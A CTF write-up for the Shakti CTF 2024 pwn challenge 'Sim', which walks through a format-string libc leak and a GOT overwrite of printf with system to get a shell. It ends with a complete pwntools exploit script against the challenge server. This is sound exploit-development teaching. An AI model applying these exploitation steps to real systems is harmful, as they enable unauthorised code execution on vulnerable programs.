Post

Shakti CTF 2024 - Sim

Description

Category: Pwn

Welcome back agent 007! As you can see, the simulator is running an arc right now. But the arc seems to be in a meltdown. Can you break its security with its own computational power and save it?

MD5 Hash: c88c91dae610209150a66e5f559efdcd

Author: Ath3n1x

Attachment:

1. Overview

We have four files in the archive:

  • ld-2.27.so (libc linker)
  • libc.so.6 (libc shared library)
  • libc-2.27.so (libc shared library)
  • sim (executable)

The fact that we have the libc and its linker suggests that we may need to use it in order to get the address of a function (like system).

1.1 Checksec

We check the protections with checksec:

1
2
3
4
5
6
7
8
9
checksec --file=sim
[*] '/home/michel/Downloads/shaktik/handout/sim'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8046000)
    RUNPATH:    b'.'
    Stripped:   No
  • NX is enabled so we can’t inject shellcode and execute it.
  • Canary makes buffer overflow harder as we need to leak the canary to bypass it.
  • No PIE so we can use addresses from the executable for our exploit.

1.2 Decompilation

We decompile sim using Dogbolt (online tool with many different decompilers).

Here are the interesting functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int32_t add()
{
    void* gsbase;
    int32_t eax = *(gsbase + 0x14);
    puts("Enter the index :");
    int32_t var_14;
    __isoc99_scanf(&data_8048945, &var_14);
    puts("Enter the data :");
    read(0, ((var_14 << 4) + 0x804a080), 4);
    int32_t eax_6 = (eax ^ *(gsbase + 0x14));
    if (eax_6 == 0)
    {
        return eax_6;
    }
    __stack_chk_fail();
    /* no return */
}

int32_t show()
{
    void* gsbase;
    int32_t eax = *(gsbase + 0x14);
    puts("Enter the index :");
    int32_t var_14;
    __isoc99_scanf(&data_8048945, &var_14);
    puts(((var_14 << 4) + 0x804a080));
    int32_t eax_6 = (eax ^ *(gsbase + 0x14));
    if (eax_6 == 0)
    {
        return eax_6;
    }
    __stack_chk_fail();
    /* no return */
}

int32_t main(int32_t argc, char** argv, char** envp)
{
    void* const __return_addr_1 = __return_addr;
    int32_t* var_c = &argc;
    void* gsbase;
    int32_t eax = *(gsbase + 0x14);
    int32_t i = 0;
    initialize();
    printf("ARMOUR: enabled! Try to break in…");
    void var_1c;
    gets(&var_1c);
    for (; i != 3; i = (i + 1))
    {
        puts("Welcome to The Reactor (current …");
        printmenu();
        int32_t var_24;
        __isoc99_scanf(&data_8048945, &var_24);
        if (var_24 == 1)
        {
            add();
        }
        else if (var_24 == 2)
        {
            show();
        }
        else
        {
            if (var_24 != 3)
            {
                exit(0);
                /* no return */
            }
            printf(&var_1c);
        }
    }
    if (eax == *(gsbase + 0x14))
    {
        return 0;
    }
    __stack_chk_fail();
    /* no return */
}

There are several exploitable functions:

  • The most interesting one is printf(&var_1c) which allows us to use format string vulnerability;
  • read(0, ((var_14 << 4) + 0x804a080), 4); which allows us to write at any address since we control var_14;
  • puts(((var_14 << 4) + 0x804a080)); which allows us to read the memory at any address too.

The main obstacle is that we can only exploit any of them at most three times before the program exit.

2. Exploitation

It’s the first time I solve this kind of challenge, so I mainly learnt by reading writups and guides which were very useful:

Since there are not any “win” function and also we can’t really inject shellcode, the only way is to use function from libc to get a shell.

To get a shell using libc we need to call the function system with the argument /bin/sh. Both of them are not in the executable so we need to write it in a way or another.

Before writting anything, first we need to leak libc address (due to ASLR) in order to get the address of system.

2.1 Leak libc

Using format string vulnerability, we can leak addresses from the stack using %p:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./sim 
ARMOUR: enabled! Try to break in ;)%p %p %p %p %p
Welcome to The Reactor (current status: MELTDOWN)
Choose your ACTION:
1. add
2. show
3. break armour
3 
0xff9b68cc 0xff9b68e8 0x80487fb 0xebabc3fc (nil)Welcome to The Reactor (current status: MELTDOWN)
Choose your ACTION:
1. add
2. show
3. break armour

Using pwndbg we can display the memory map and get the address of libc for this execution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
     Start        End Perm     Size Offset File
 0x8046000  0x8048000 rw-p     2000      0 /home/michel/Downloads/shaktik/handout/sim
 0x8048000  0x8049000 r-xp     1000   2000 /home/michel/Downloads/shaktik/handout/sim
 0x8049000  0x804a000 r--p     1000   2000 /home/michel/Downloads/shaktik/handout/sim
 0x804a000  0x804b000 rw-p     1000   3000 /home/michel/Downloads/shaktik/handout/sim
0xeb8e7000 0xebab9000 r-xp   1d2000      0 /home/michel/Downloads/shaktik/handout/libc-2.27.so
0xebab9000 0xebaba000 ---p     1000 1d2000 /home/michel/Downloads/shaktik/handout/libc-2.27.so
0xebaba000 0xebabc000 r--p     2000 1d2000 /home/michel/Downloads/shaktik/handout/libc-2.27.so
0xebabc000 0xebabd000 rw-p     1000 1d4000 /home/michel/Downloads/shaktik/handout/libc-2.27.so
0xebabd000 0xebac2000 rw-p     5000      0 [anon_ebabd]
0xebac2000 0xebac6000 r--p     4000      0 [vvar]
0xebac6000 0xebac8000 r-xp     2000      0 [vdso]
0xebac8000 0xebaee000 r-xp    26000      0 /home/michel/Downloads/shaktik/handout/ld-2.27.so
0xebaee000 0xebaef000 r--p     1000  25000 /home/michel/Downloads/shaktik/handout/ld-2.27.so
0xebaef000 0xebaf0000 rw-p     1000  26000 /home/michel/Downloads/shaktik/handout/ld-2.27.so
0xff996000 0xff9b7000 rw-p    21000      0 [stack]

The forth leaked address (0xebabc3fc) is an address that belongs to libc. Since we can always leak it using format string vulnerability, we compute the offset between this address and the libc base address for this execution so we can use it for the next execution because the offset will always be the same.

The offset is: 0xebabc3fc - 0xeb8e7000 = 0x1d53fc.

1
2
3
4
5
6
7
p.sendline(b"/bin/sh #" + b"%p " * 5) # We will see later why there is "/bin/sh" here
p.sendline(b"3")

output = p.readuntil(b" Welcome")
print(output)
leak_to_libc = int(output.split(b" ")[-3], 16) # Get the forth leaked address
libc.address = leak_to_libc - offset_to_libc

2.2 Write system and /bin/sh

Now we have the base address of libc, we can compute the address of system from the shared library. In pwntools, updating the value of libc.address will also update all the addresses:

1
2
3
4
libc = ELF('/home/michel/Downloads/shaktik/handout/libc-2.27.so')
offset_to_libc = 0x1d53fc
libc.address = leak_to_libc - offset_to_libc
libc.sym['system'] # Is also updated

The reason we need the address of system is to overwrite the Global Offset Table. The GOT store the addresses of functions that are from other shared libraries (libc) so when the program call it, it knows where is the function in the shared library. By overwriting the address of a function in the GOT, the next time the program calls it, it will instead call the function we wanted.

Because system takes as argument a string, we have to overwrite a function that also takes a string as an argument.

We then have two choices:

  1. puts from 2. show (puts(((var_14 << 4) + 0x804a080)););
  2. printf from 3. break armor (printf(&var_1c);).

However, we still need to overwrite the GOT to write system’s address so we only have one operation left.

For the first case (puts), we need to store /bin/sh first using read(0, ((var_14 << 4) + 0x804a080), 4); and then call puts which takes us two operations.

For the second case (printf), we also need to store /bin/sh but only in &var_1c which can only be modified once (at the beginning) and the call printf which also takes us two operations.

But what if we add /bin/sh directly to our initial input so we save one operation? Indeed, we can send /bin/sh # %p %p %p %p %p which:

  • will still leak the forth address needed to leak libc;
  • is a valid command because # will comment the rest of the string.

So we have our exploit that fit in three operations:

  • leak libc;
  • overwrite printf in GOT with system;
  • call printf which will in reality call system.

Overwrite the GOT:

1
2
3
4
index = (elf.got['printf'] - 0x804a080) >> 4 # because ((var_14 << 4) + 0x804a080)
p.sendline(b"1")
p.sendline(str(index).encode())
p.sendline(p32(libc.sym['system']))

Call printf which will start a shell:

1
2
p.sendline(b"3")
p.interactive()

3. Profit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ python3 format_string_overwrite_got.py                                  
[*] '/home/michel/Downloads/shaktik/handout/sim'                                                   
    Arch:       i386-32-little                                                                     
    RELRO:      Partial RELRO                                                                      
    Stack:      Canary found                                                                       
    NX:         NX enabled                                                                         
    PIE:        No PIE (0x8046000)                                                                 
    RUNPATH:    b'.'                                                                               
    Stripped:   No                                                                                 
[*] '/home/michel/Downloads/shaktik/handout/libc-2.27.so'                                          
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[*] '/home/michel/Downloads/shaktik/handout/ld-2.27.so'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
[+] Opening connection to 13.127.242.3 on port 30606: Done
[*] libc base adress is 0xf7d72000
[*] Overwrite printf's address in GOT to 0xf7daee10'
[*] Switching to interactive mode
 to The Reactor (current status: MELTDOWN)
Choose your ACTION:
1. add
2. show
3. break armour
Enter the index :
Enter the data :
Welcome to The Reactor (current status: MELTDOWN)
Choose your ACTION:
1. add
2. show
3. break armour
$ ls
flag.txt
ld-2.27.so
libc-2.27.so
libc.so.6
sim
ynetd
$ cat flag.txt
shaktictf{Th3_4rc_15_s4v3d_4nd_h4ppy_pwn1ng}

Flag: shaktictf{Th3_4rc_15_s4v3d_4nd_h4ppy_pwn1ng}

Solve script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF('/home/michel/Downloads/shaktik/handout/sim')
libc = ELF('/home/michel/Downloads/shaktik/handout/libc-2.27.so')
ld = ELF('/home/michel/Downloads/shaktik/handout/ld-2.27.so')

gdbscript = '''
b printf
'''

## Offset computed in local
offset_to_libc = 0x1d53fc

## Local debug or Remote exploit
# p = gdb.debug([ld.path, elf.path], env={"LD_PRELOAD": libc.path})
p = remote("13.127.242.3", 30606)

## Leak libc base address by exploiting format string (printf)
p.sendline(b"/bin/sh #" + b"%p " * 5)
p.sendline(b"3")

output = p.readuntil(b" Welcome")
leak_to_libc = int(output.split(b" ")[-3], 16)
libc.address = leak_to_libc - offset_to_libc
log.info(f"libc base adress is {hex(libc.address)}")

## Overwrite printf's address in GOT
log.info(f"Overwrite printf's address in GOT to {hex(libc.sym['system'])}'")
index = (elf.got['printf'] - 0x804a080) >> 4
p.sendline(b"1")
p.sendline(str(index).encode())
p.sendline(p32(libc.sym['system']))

## Call printf but it will call system with the initial input
p.sendline(b"3")

## Get the flag
p.interactive()
This post is licensed under CC BY 4.0 by the author.